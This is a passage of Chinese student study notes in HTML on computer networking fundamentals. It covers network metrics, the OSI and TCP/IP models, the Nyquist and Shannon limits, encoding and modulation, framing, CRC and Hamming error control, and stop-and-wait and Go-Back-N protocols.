<li>Internet Draft > Proposed Standard > (Draft Standard) > Internet Standard</li>
<li>因特尔草案 - 建议标准 - 因特尔草案</li>
</ul>
</li>
</ul>
<h3 id="组织"><a href="#组织">组织</a></h3>
<ul>
<li>国际标准化组织 ISO</li>
<li>国际电信联盟 ITU</li>
<li>国际电气电子工程师协会 IEEE - 学术标准、IEE802 相关标准</li>
<li>Internet 工程任务组 IETF</li>
</ul>
<h2 id="传输指标"><a href="#传输指标">传输指标</a></h2>
<ul>
<li>速率：数据传输率 / 比特率 b/s kb/s Mb/s Gb/s Tb/s
<ul>
<li><strong>1Byte = 8bit</strong></li>
</ul>
</li>
<li>带宽：原本：某个信号具有的频带宽度，即最高频率与最低频率之差
<ul>
<li>计算机网络中：指传送数据的能力，最高数据率，<strong>网络设备所支持的最高速度</strong></li>
<li>单位：比特率 b/s kb/s Mb/s</li>
<li>带宽变大：指的是能够注入的数据变多了，不能说是比特传输的速度变快了</li>
</ul>
</li>
<li>吞吐量 (throughput)：单位时间内通过<strong>某个网络或接口</strong>的数据量
<ul>
<li>受到网络的带宽或网络的额定速率的限制</li>
<li>吞吐量指的是实际的数据量（不是最大承载能力</li>
</ul>
</li>
<li>时延：Latency，数据从网络一端到另一端所需要的时间
<ul>
<li>发送时延（数据长度 / 信道带宽），传播时延（信道长度 / 电磁波的传播速率），排队时延（等待输出 / 输入链路可用的时间），处理时延（校验、寻找出口的时间）</li>
<li>高速链路只能改变发送时延</li>
</ul>
</li>
<li>时延带宽积：实验带宽积 = 传播时延 * 带宽
<ul>
<li>描述：某段链路现在有多少比特</li>
</ul>
</li>
<li>往返时延：RTT
<ul>
<li>指的是<strong>从发送方发送数据开始，到发送发收到接收方的确认</strong>，总共经历时延</li>
<li>可以通过<code>ping</code>命令测试 RTT</li>
<li>RTT 越大，可以发送的数据越多（在等待收到接收方的确认之前）</li>
<li>= 末端处理时间 + 传播时延 * 2</li>
</ul>
</li>
<li>利用率：分为信道利用率 &#x26; 网络利用率
<ul>
<li>信道利用率：有数据通过的时间 / 有 + 无数据通过的时间</li>
<li>网咯利用率：信道利用率的加权平均值</li>
<li>通常：利用率特别高的时候会增加时间，反倒会降低速度</li>
</ul>
</li>
</ul>
<h2 id="分层结构"><a href="#分层结构">分层结构</a></h2>
<ul>
<li>
<p>Background：将网络通信的问题化为小问题解决</p>
</li>
<li>
<p>基本原则：每层之间相互独立</p>
<ul>
<li>每层之间界面自容清晰</li>
<li>结构上可以分隔开</li>
<li>保持下层对上层的独立性</li>
<li>促进标准化工作</li>
</ul>
</li>
<li>
<p>实体第 n 层活动元素称为第 n 层实体</p>
</li>
<li>
<p>协议：为进行<strong>对等实体</strong>的交换而建立的交换规则，标准或约定</p>
<ul>
<li>语义、语法、同步问题的姐姐</li>
</ul>
</li>
<li>
<p>接口（访问服务点 SAP），<strong>上层使用下层服务</strong>的入口</p>
</li>
<li>
<p>服务：<strong>下层相邻上层</strong>提供的功能调用，仅仅在相邻层之间提供服务，具体的硬件软件没有规定</p>
</li>
<li>
<p><strong>计算机网络体系结构是计算机网络的各层及其协议的集合</strong></p>
</li>
</ul>
<h2 id="通用分层模型"><a href="#通用分层模型">通用分层模型</a></h2>
<h3 id="osi"><a href="#osi">OSI</a></h3>
<ul>
<li>History：DEC 公司的 DNA，美国国防部的 TCP/IP 等之前的许多网络体系结构
<ul>
<li>只能实现公司内部的网络通信，不能实现全球的互联互通</li>
</ul>
</li>
<li>ISO 于 1984 提出的开放系统互联（OSI）参考模型
<ul>
<li>ISO 提出的参考模型和互联互通参考模型</li>
<li>理论成功，市场失败（没有办法进入市场，某些功能会在多个层次重复出现，多个层次重复出现的功能）</li>
</ul>
</li>
<li>物联网淑慧试用（自下向上传的七层结构的名称）</li>
<li>通信过程
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073617.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073617.jpg" alt="image-20200106170513123" loading="lazy" data-wrapped="true"></a></li>
<li>上四层端到端（客户端和客户端之间的通信），下三层点到点（某一个中介系统可能会传播到下一个节点）</li>
</ul>
</li>
<li>各层：应用层：所有能和用户产生网络流量的程序
<ul>
<li>表示层：处理两个通信系统中交换信息的方式</li>
<li>数据格式交换</li>
<li>数据加密解密</li>
<li>数据压缩和恢复</li>
<li>会话层：有序地传输数据，建立同步</li>
<li>使用校验点在通信失效的时候继续恢复通信，实现数据的同步传送</li>
<li>传输层：用处：</li>
<li>提供可靠传输（需要确认机制）、不可靠传输（不需要确认机制）</li>
<li>差错控制</li>
<li>流量控制</li>
<li>复用分用：
<ul>
<li>复用：多个应用层进程可以同时使用下面传输层的服务（对于发送方）</li>
<li>分用：传输 0 层把收到的信息分别交付给上面应用层中的相应进程（对于接收方）</li>
</ul>
</li>
<li>网络层：</li>
<li>路由选择（最佳路径）</li>
<li>流量控制</li>
<li>差错控制</li>
<li>拥塞控制（采取措施缓解所有节点都来不及接受）</li>
<li>数据链路层：</li>
<li>把网络层传下来的数据组装成帧</li>
<li>数据链路层 / 链路层的传输单位是帧</li>
<li>物理层：</li>
<li>在物理媒体上实现的比特流的透明传输（单纯地转化成物理数据）</li>
<li>定义接口特性、定义传输模式（单工、双工、半双工）</li>
<li>定义传输速率</li>
<li>比特同步、比特编码（曼切斯特编码等等）</li>
</ul>
</li>
</ul>
<h3 id="tcpip"><a href="#tcpip">TCP/IP</a></h3>
<ul>
<li>
<p>在 OSI 模型出现的时候 TCP/IP 已经具有了市场运用（TCP/IP 为实践）</p>
</li>
<li>
<p>应用层、传输层、网际层、网络接口层：</p>
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073618.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073618.jpg" alt="image-20200106175751387" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
</ul>
<h1 id="chaper-2-physical-layer"><a href="#chaper-2-physical-layer">Chaper 2 Physical Layer</a></h1>
<h2 id="通信基础"><a href="#通信基础">通信基础</a></h2>
<ul>
<li>
<p>一个典型的数据通信模型：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073619.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073619.jpg" alt="image-20200106184834304" loading="lazy" data-wrapped="true"></a></p>
</li>
</ul>
<h3 id="一些概念"><a href="#一些概念">一些概念</a></h3>
<ul>
<li>数据：传送信息的实体</li>
<li>信号：数据电气 / 电磁的表现（数字信号 &#x26; 模拟信号）</li>
<li>信源：产生和发送数据的源头</li>
<li>信宿：信号传送的终点</li>
<li><strong>信道</strong>：信号传输的媒介。</li>
<li>通信方式：单工、半双工、全双工</li>
</ul>
<p><strong>通信相关：</strong></p>
<ul>
<li>码元：一个固定时长的信号波形（数字脉冲），代表不同离散数值的基本波形
<ul>
<li>数字通信中数字信号的计量单位</li>
<li>1 码元可以携带多个比特的信息量</li>
<li>K 进制的码元 - 码元的离散状态的个数（同样的一个波形可以对应几个比特</li>
</ul>
</li>
<li>速率：码元传输速率：1s 传输多少个码元
<ul>
<li>信息传输速率：别名<strong>比特率</strong>、<strong>信息速率</strong> - 1s 传输多少个 比特</li>
<li>若一个码元携带 nbit 的信息量，M baud 的码元传输速率对应的信息传输速率 = M*n bit/s</li>
</ul>
</li>
<li>波特：<strong>码元传输速率的单位</strong>，每秒钟内通信线路状态改变的次数。</li>
<li>带宽：表示在单位时间内从网络的某一点到另一点所能通过的<strong>最高数据率</strong>（理想中的）
<ul>
<li>Eg. <a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073620.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073620.jpg" alt="image-20200106191256144" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
</ul>
<h2 id="️-奈氏准则和香农定理"><a href="#️-奈氏准则和香农定理">⭐️ 奈氏准则和香农定理</a></h2>
<h3 id="失真"><a href="#失真">失真</a></h3>
<ul>
<li>现实中的信道干扰对信号源造成的干扰，部分干扰可恢复，部分不可恢复</li>
<li>码间串扰：码元传输速度过快的时候让码元不清楚</li>
</ul>
<h3 id="奈氏准则奈奎斯特定理-nyquists-theorem"><a href="#奈氏准则奈奎斯特定理-nyquists-theorem">奈氏准则（奈奎斯特定理）/ Nyquist's Theorem</a></h3>
<ul>
<li>在无噪声条件下，为了避免<strong>码间串扰</strong>，极限码元传输速率为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mi>W</mi><mi>B</mi><mi>a</mi><mi>u</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">2W Baud</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.13889em;">W</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">a</span><span class="mord mathnormal">u</span><span class="mord mathnormal">d</span></span></span></span>，其中 W 为信道带宽，Hz</li>
<li><strong>极限数据传输速率</strong> = <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mi>W</mi><mi>l</mi><mi>o</mi><msub><mi>g</mi><mn>2</mn></msub><mi>V</mi><mi>b</mi><mi mathvariant="normal">/</mi><mi>s</mi></mrow><annotation encoding="application/x-tex">2Wlog_2Vb/s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.13889em;">W</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">Vb</span><span class="mord">/</span><span class="mord mathnormal">s</span></span></span></span>，其中 W 为带宽，V 为码元进制数
<ul>
<li>定理本身为：传输上限为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mi>W</mi></mrow><annotation encoding="application/x-tex">2W</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.13889em;">W</span></span></span></span>。</li>
</ul>
</li>
</ul>
<h3 id="香农定理--shannons-theorem"><a href="#香农定理--shannons-theorem">香农定理 / Shannon's Theorem</a></h3>
<ul>
<li>考虑了噪声的影响</li>
<li>信噪比 = <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>10</mn><mi>l</mi><mi>o</mi><msub><mi>g</mi><mn>10</mn></msub><mo stretchy="false">(</mo><mi>S</mi><mi mathvariant="normal">/</mi><mi>N</mi><mo stretchy="false">)</mo><mi>d</mi><mi>B</mi></mrow><annotation encoding="application/x-tex">10log_{10}(S/N)dB</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">10</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">10</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> （如果不是给定的分贝的形式一般可以直接代入计算，如果给定的分贝单位需要手动计算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi mathvariant="normal">/</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">S/N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span>）</li>
<li>信道的极限传输速率 = <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>W</mi><mi>l</mi><mi>o</mi><msub><mi>g</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>S</mi><mi mathvariant="normal">/</mi><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Wlog_2(1 + S/N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">W</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>，W 为带宽
<ul>
<li>只要信息的传输速率低于信道的极限传输速率，就一定能找到方法来实现无差错的信息传送</li>
</ul>
</li>
<li><mark><strong>❗️在计算时要算两个定理取最小值</strong></mark></li>
</ul>
<h2 id="️-编码与调制"><a href="#️-编码与调制">⭐️ 编码与调制</a></h2>
<ul>
<li>
<p>信道：传输媒介</p>
</li>
<li>
<p>信号：分为基带信号和宽带信号</p>
<ul>
<li>基带信号：将数字 1 和 0 直接用两种不同的电压来表示，再送到数字信道上去传输（基带传输）。</li>
<li>宽带信号：将基带信号进行调制之后形成的频分复用模拟爱信号，再传送到<strong>模拟信道</strong>上去传输</li>
<li>SUM：<strong>数字信道 - 基带信号；模拟信道 - 宽带信号</strong></li>
<li>传输距离比较近的时候，使用基带传输（信号不容易变化），传输距离较远时，使用宽带传输</li>
</ul>
</li>
<li>
<p>将数据转换为：数字信号：编码；模拟信号：调制</p>
</li>
<li>
<p>数字数据编码为数字信号：</p>
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073621.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073621.jpg" alt="image-20200106195313261" loading="lazy" data-wrapped="true"></a></li>
<li>NRZ - 非归零编码（编码容易实现，没有检错功能，需要建立一个信道确立时钟周期</li>
<li>1 传输完之后不归零</li>
<li>不归零逆转编码 —— 对于全 0 没有问题，对于全 1 有问题</li>
<li><strong>曼彻斯特编码</strong>：自同步的编码方式</li>
<li>数据传输速率只有调制速率的 1/2</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073622.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073622.jpg" alt="img" loading="lazy" data-wrapped="true"></a></li>
<li><strong>利用数据的上升沿或下降沿表示 0 或 1</strong></li>
<li>差分曼彻斯特：同 1 异 0，前半个码元的电平与上一个码元</li>
</ul>
</li>
<li>
<p>数字数据调制为模拟信号</p>
<ul>
<li>调幅 - 2ASK；调频 - 2FSK；调相 - 2PSK</li>
<li>调幅 + 调相（QAM）</li>
<li>在第一种调制的基础上再对第二种进行调制</li>
<li>根据不同的进制和相位计算波特率（求信号状态种数）</li>
</ul>
</li>
<li>
<p>模拟数据编码为数字信号</p>
<ul>
<li><strong>PCM</strong>：能够达到最高保真水平的脉冲编码调制</li>
<li>抽样：对模拟数据进行周期性扫描， <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>f</mi><mtext>采样频率</mtext></msub><mo>></mo><mn>2</mn><msub><mi>f</mi><mtext>信号最高频率</mtext></msub></mrow><annotation encoding="application/x-tex">f_{采样频率}>2f_{信号最高频率}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">采样频率</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord cjk_fallback mtight">信号最高频率</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></li>
<li>量化：把抽样的电频幅度按照标准转化为数字</li>
<li>编码：把量化的结果转换成对应的二进制编码进行传送</li>
</ul>
</li>
<li>
<p>模拟数据调制为模拟信号</p>
<ul>
<li>简单的调制与解调的过程</li>
</ul>
</li>
</ul>
<h2 id="物理设备"><a href="#物理设备">物理设备</a></h2>
<h3 id="传输介质"><a href="#传输介质">传输介质</a></h3>
<ul>
<li>传输媒体 ≠ 物理层
<ul>
<li>传输媒体只是单纯地传输信号</li>
</ul>
</li>
<li>主要的传输介质
<ul>
<li>双绞线 - 绞合可以减少对相邻导线的电磁干扰</li>
<li>同轴电缆：宽带同轴电缆（数字信号） &#x26; 宽带同轴电缆（模拟信号）</li>
<li>抗干扰性比双绞线更好</li>
<li>光纤：利用传递光脉冲进行通信，带宽超级大</li>
<li>多模光纤（近距离）&#x26; 单模光纤（远距离）</li>
</ul>
</li>
</ul>
<h3 id="物理层设备"><a href="#物理层设备">物理层设备</a></h3>
<ul>
<li>中继器：对信号进行<strong>再生和还原</strong>，对衰减的信号进行放大
<ul>
<li>中继器的两端连接的是网段，而不是子网；在两端使用的是同一个协议</li>
</ul>
</li>
<li>集线器（多口中继器）：对信号再次进行<strong>放大转发</strong>，接着转发到<strong>其他所有</strong>处于工作状态爱的端口上，增加信号传输的距离，延长网络的长度
<ul>
<li>注意：不具备信号的定向传送能力，共享式设备</li>
</ul>
</li>
</ul>
<h1 id="chapter-3-data-link-layer"><a href="#chapter-3-data-link-layer">Chapter 3 Data Link Layer</a></h1>
<h2 id="overview"><a href="#overview">Overview</a></h2>
<ul>
<li>数据链路层的功能：在物理层的基础上为网络提供无差错的服务
<ul>
<li>无确认无连接服务、有确认无连接服务、有确认面向连接服务等</li>
<li>链路管理</li>
<li>成帧 / Framing</li>
<li>流量控制</li>
<li>差错控制</li>
</ul>
</li>
</ul>
<h3 id="一些概念-1"><a href="#一些概念-1">一些概念</a></h3>
<ul>
<li>结点：主机和路由器</li>
<li>链路：两个结点之间的物理通道，链路的</li>
<li>数据链路：网络中的两个结点之间的逻辑通道，实现控制数据传输协议的硬件和软件加到链路上的有效线路</li>
</ul>
<h2 id="-成帧"><a href="#-成帧">⭐ 成帧</a></h2>
<ul>
<li>在数据前后添加首部和尾部</li>
<li><strong>MTU 最大数据传输单元</strong> = 帧中的载荷大小</li>
<li>透明传输：不管传送的什么样的比特组合，都应该在数据链路成上顺利传输</li>
<li>几种方法：
<ul>
<li>字符计数法：帧首部使用一个计数字段来表明字符数</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073623.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073623.jpg" alt="image-20200106213543772" loading="lazy" data-wrapped="true"></a></li>
<li><strong>字符填充法</strong>：<code>SOH</code> 和<code>EOT</code>填充为 Start of header 和 End of transmission</li>
<li>传输的是二进制代码可能会出现结束字符一样的比特组合的时候，需要用字符填充法解决</li>
<li><strong>在控制信息的字符前添加<code>ESC</code>转义字符</strong></li>
<li>零比特填充法：在发送方只要连续 5 个 1，就填入 1 个 0。</li>
<li>在接收端收到一个帧时，先找到标志字段确定边界，再扫描，5 个 1 就去掉 1 个 0。</li>
<li><em>违规编码法</em>：对于曼彻斯特编码使用 “高高”、“低低” 来确定帧的起始和终止</li>
</ul>
</li>
</ul>
<h2 id="️-差错控制"><a href="#️-差错控制">⭐️ 差错控制</a></h2>
<ul>
<li>
<p>差错来源：来自传输通道本身的随机噪声、外接短暂的冲击噪声</p>
</li>
<li>
<p>差错种类：位错、帧错（丢失、重复 &#x26; 失序）</p>
</li>
<li>
<p>控制的时间：在每一段链路都进行纠正</p>
</li>
<li>
<p>检验编码</p>
<ul>
<li>奇偶校验码</li>
<li>构造：由 n-1 位信息元 1 位校验元构成</li>
<li>奇校验码：<strong>使得加上校验位之后</strong>，1 的个数为奇数；偶校验码：加上校验位之后 1 的个数为偶数 （x............ 中，1 的个数）</li>
<li>对于任何的比特数，检错率为 50%</li>
<li>CRC 循环冗余码</li>
<li>发送端将数据除以一个生成多项式，余数为 FCS 帧检测序列 / 冗余码</li>
<li>冗余码的计算：<strong>在原数据之后加 r 个 0</strong>，使用<strong>模 2 除法</strong>，在竖式计算中使用的是异或的方式做减，最后的余数作为冗余码，将冗余码加到刚刚补的 0 后面一起传送
<ul>
<li>Eg.<a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073624.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073624.jpg" alt="image-20200106215400534" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
<li>接收端：求余数，为 0 则接受，不为 0 则认定由差错，直接丢弃。</li>
<li><em>CRC 使用的是硬件级别的计算，计算速度非常快</em></li>
</ul>
</li>
<li>
<p>纠错编码 - 海明码 Hamming Code</p>
<ul>
<li>海明码：<strong>发现双比特错，纠正单比特错</strong></li>
<li>海明不等式：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>r</mi></msup><mspace linebreak="newline"></mspace><mi>g</mi><mi>e</mi><mi>q</mi><mi>k</mi><mo>+</mo><mi>r</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^r \\geq k + r + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span></span></span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，r 为冗余信息位，k 为信息位</li>
<li>计算方式：校验位的目标：所要校验的位异或 = 0。校验位为第 2^n^ 位。</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073625.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073625.jpg" alt="image-20200106222247752" loading="lazy" data-wrapped="true"></a></li>
<li>纠错方式：依次对校验位所校验的位进行异或计算，然后从 P<del>4</del>写到 P<del>1</del>，如果不为 0，这个二进制数所代表的位数就是出错了位置，再纠正即可</li>
</ul>
</li>
</ul>
<h2 id="流量控制与可靠传输协议"><a href="#流量控制与可靠传输协议">流量控制与可靠传输协议</a></h2>
<h3 id="background"><a href="#background">Background</a></h3>
<ul>
<li>为了控制发送方的发送速度</li>
<li>和传输层的区别：数据链路层的流量控制是<strong>点对点</strong>的，传输层的流量控制是<strong>端到端</strong>的。
<ul>
<li>数据链路层的手段：接收方收不下就不回复确认</li>
<li>传输层的流量控制手段：接收端给发送端一个<strong>窗口公告</strong></li>
</ul>
</li>
<li>主要方法：停止 - 等待协议、滑动窗口协议（<strong>GBN</strong> &#x26; <strong>SR</strong>）
<ul>
<li>停等协议：发送窗口 = 1 接受窗口 = 1</li>
<li>后退 N ：发送窗口 > 1，接收窗口 = 1</li>
<li>选择重传：发送窗口 > 1，接收窗口 > 1</li>
</ul>
</li>
<li>滑动窗口主要解决的问题：流量控制和可靠传输</li>
</ul>
<h3 id="停止-等待协议--stop-wait-protocol"><a href="#停止-等待协议--stop-wait-protocol">停止-等待协议 / Stop-Wait Protocol</a></h3>
<ul>
<li>是哪一层的问题？
<ul>
<li>计算机网络发展前期质量不好，链路层要负责可靠传输，需要使用这些协议</li>
<li>现在链路层可以暂时抛弃可靠传输，交给传输层解决</li>
</ul>
</li>
<li>关于协议
<ul>
<li>解决的问题：为了解</li>
<li>决丢包的问题</li>
<li>研究的前提：仅讨论单工通信</li>
</ul>
</li>
<li>协议细节：
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073627.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073627.jpg" alt="image-20200106224813296" loading="lazy" data-wrapped="true"></a></li>
<li>每次发送之后都启动一个计时器，超时计时器应当比 RTT 更长一些（自动重传）</li>
<li>发送完后必须保留副本</li>
</ul>
</li>
</ul>
<h3 id="回退-n-协议--go-back-n-protocol"><a href="#回退-n-协议--go-back-n-protocol">回退 N 协议 / Go Back N Protocol</a></h3>
<ul>
<li>停止等待协议信道利用率过低</li>
<li>协议中的窗口：
<ul>
<li>发送窗口：发送方维持一组连续的允许发送的帧序号</li>
<li>接收窗口：接收方维持一组连续的允许接收帧的序号</li>
</ul>
</li>
<li><strong>累计确认</strong>：GBN 协议采用了累计确认的方式，表明接收方已经收到了 n 号帧和它之前的全部帧</li>
<li>超时事件：出现超时的时候，发送方会重传所有已发送但没有被确认的帧</li>
<li>协议细节：
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73628.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73628.jpg" alt="image-20200106225559471" loading="lazy" data-wrapped="true"></a></li>
<li>对于发送方：确认窗口，开启计时器，超时回退重传</li>
<li>对于接收方：若正确，发送 ACK，并将数据交付上层</li>
<li>若错误，则直接<strong>丢弃帧</strong>，并且按照最近接收到的帧重新发送 ACK，接收方无需缓存任何失序帧，只需要维护一个 <code>expectedseqnum</code></li>
